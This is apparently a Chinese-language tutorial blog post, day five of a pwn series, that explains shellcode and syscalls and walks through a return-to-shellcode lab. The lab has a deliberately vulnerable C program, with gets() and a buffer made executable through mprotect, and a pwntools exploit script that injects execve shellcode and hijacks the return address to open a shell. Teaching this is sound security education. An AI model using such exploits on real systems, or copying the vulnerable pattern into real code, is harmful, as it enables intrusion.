iT邦幫忙

2025 iThome 鐵人賽

DAY 5
0
Security

現在是pwn的天下!系列 第 5

【Day-5】return to shellcode

  • 分享至 

  • xImage
  •  

前言

先前說的buffer overflow是利用緩衝區溢位去call到不該被執行的function進而get shell,那現在我們需要知道要如何在沒有backdoor的情況下get shell,所以我接下來要介紹ret2sc是怎麼運作以及它的基本原理

shellcode

什麼是 Shellcode?

  • 廣義上,shellcode是一段用來直接被CPU執行的machine code
  • 名稱來源於早期攻擊者寫的程式碼,執行後會打開一個shell,但現在也泛指所有可執行的機器碼段

從C程式到機器碼的流程簡述

  • 編譯器 (Compiler):把高階語言(如 C)編譯成組合語言(Assembly)。
  • 組譯器 (Assembler):把組合語言轉成機器碼(二進位指令)。
  • 連結器 (Linker):將機器碼與函式庫等資源連結成可執行檔
    source code:
#include <stdio.h>

int main() {
    puts("Hello World!");

    return 0;
}

編譯器輸出的組合碼(compiler)
assembly:

push %rbp
mov %rsp, %rbp
lea 0xeac(%rip), %rax
mov %rax, %rdi
call 1050 puts@plt
mov $0x0, %eax
pop %rbp
ret

組譯器產生的機器碼(assembler)
machine code:

55
48 89 e5
48 8d 05 ac 0e 00 00
48 89 c7
e8 f0 fe ff ff
b8 00 00 00 00
5d
c3

syscall

Syscall是用戶程式與作業系統核心溝通的接口。用戶程式無法直接操作硬體,需透過syscall請求kernel執行檔案讀寫、網路連線等需要高權限的操作。每個 syscall 有編號,用戶程式透過特定指令(如 x86-64 的 syscall)呼叫,kernel 執行後回傳結果

  • 如果可以執行shellcode,就可以直接用syscall跟kernel做溝通+
  • syscall是一個instruction
  • rax要放想要call的saycall的參數,假如如果要call execve,那我的rax就設為0x3b
    https://ithelp.ithome.com.tw/upload/images/20250809/20172088pyCV2BRGKB.png
    下面是好用的syscall網站,你後面一定會用到
    x86: https://x86.syscall.sh/
    x64: https://x64.syscall.sh/

如果想要開shell的shellcode,可以

  • 使用pwntools內建的shellcraft
  • 手尻
  • 直接去網路上找

lab

來源: https://ithelp.ithome.com.tw/m/articles/10357946

#include<stdio.h>
#include <unistd.h>
#include <sys/mman.h>
char shellcode[0x100];
int main(){
    setvbuf(stdout, 0, _IONBF, 0);
    setvbuf(stdin, 0, _IONBF, 0);
    setvbuf(stderr, 0, _IONBF, 0);
    unsigned long addr = (unsigned long)&shellcode & ~0xfff;
    mprotect((void *)addr, 0x1000, PROT_EXEC | PROT_READ | PROT_WRITE);
    printf("Give me shellcode: ");
    read(0, shellcode, 0x100);
    printf("Overflow me: ");
    char buffer[0x10];
    gets(buffer);
    printf("Bye!\n");
    return 0;
}

makefile:

sc: sc.c
         gcc sc.c  -o sc  -fno-stack-protector -no-pie

checksec:
https://ithelp.ithome.com.tw/upload/images/20250809/20172088Vp7P3U7XEp.png

  1. 首先我們的保護措施沒有canary,pie,且程式碼裡面放了一個gets,就代表我們可以不用擔心地址隨機化去做buffer overflow
  2. 不過可以看到NX是開啟的,就代表可能無法執行shellcode,不過沒關係,這個程式還使用了mprotect修改記憶體的權限,讓shellcode變成rwx,也就意味著就算有NX也可以強制執行

接下來我們可以看到它的兩個讀取內容分別是給shellcode和做buffer overflow
那我們要buffer overflow甚麼呢?
我們需要把shellcode的地址先找出來
https://ithelp.ithome.com.tw/upload/images/20250809/20172088DTA2EYzDwi.png
我們可以發現shellcode位於404080
於是我們可以寫出以下exp
exploit.py:

from pwn import *

context.arch = 'amd64' # 要記得設定架構,不然沒辦法開shell

r = process('./sc')

shellcode = asm(shellcraft.sh())

r.sendlineafter(b': ', shellcode)

payload = b'a' * 40 + p64(0x404080)

r.sendlineafter(b': ', payload)

r.sendline(b'cat gay.txt')

r.interactive()

Pwned!
https://ithelp.ithome.com.tw/upload/images/20250809/20172088hm9ftX4qok.png


上一篇
【Day-4】buffer overflow攻擊手法以及Canary的保護機制
下一篇
【Day-6】ROP (Return-Oriented Programming)
系列文
現在是pwn的天下!30
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言